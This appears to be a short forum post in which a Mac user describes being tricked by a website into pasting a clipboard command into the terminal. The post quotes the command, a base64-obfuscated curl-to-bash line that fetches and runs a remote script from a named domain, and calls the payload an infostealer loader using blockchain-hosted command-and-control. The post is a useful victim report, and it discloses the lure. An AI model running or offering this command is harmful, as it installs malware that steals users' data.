By being curious. I actually followed the instructions and pasted (cmd+v) into the terminal. The website had already put command in my clipboard. I did not save the actual command but it was something like bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9jYXB1LmNpdHJpeGFwcHNwcm92aWRlbmNlLm9yZy91cGRhdGUuc2gnIHwgYmFzaA==" | base64 -d)
where the base64 content was this url https://capu.citrixappsprovidence.org/update.sh
I have saved the script and turned of the WiFi. Then reinstalled Mac.
A macOS infostealer loader using the "EtherHiding" technique — the command-and-control address is stored in a blockchain smart contract instead of hardcoded, so it can't be taken down or blocklisted.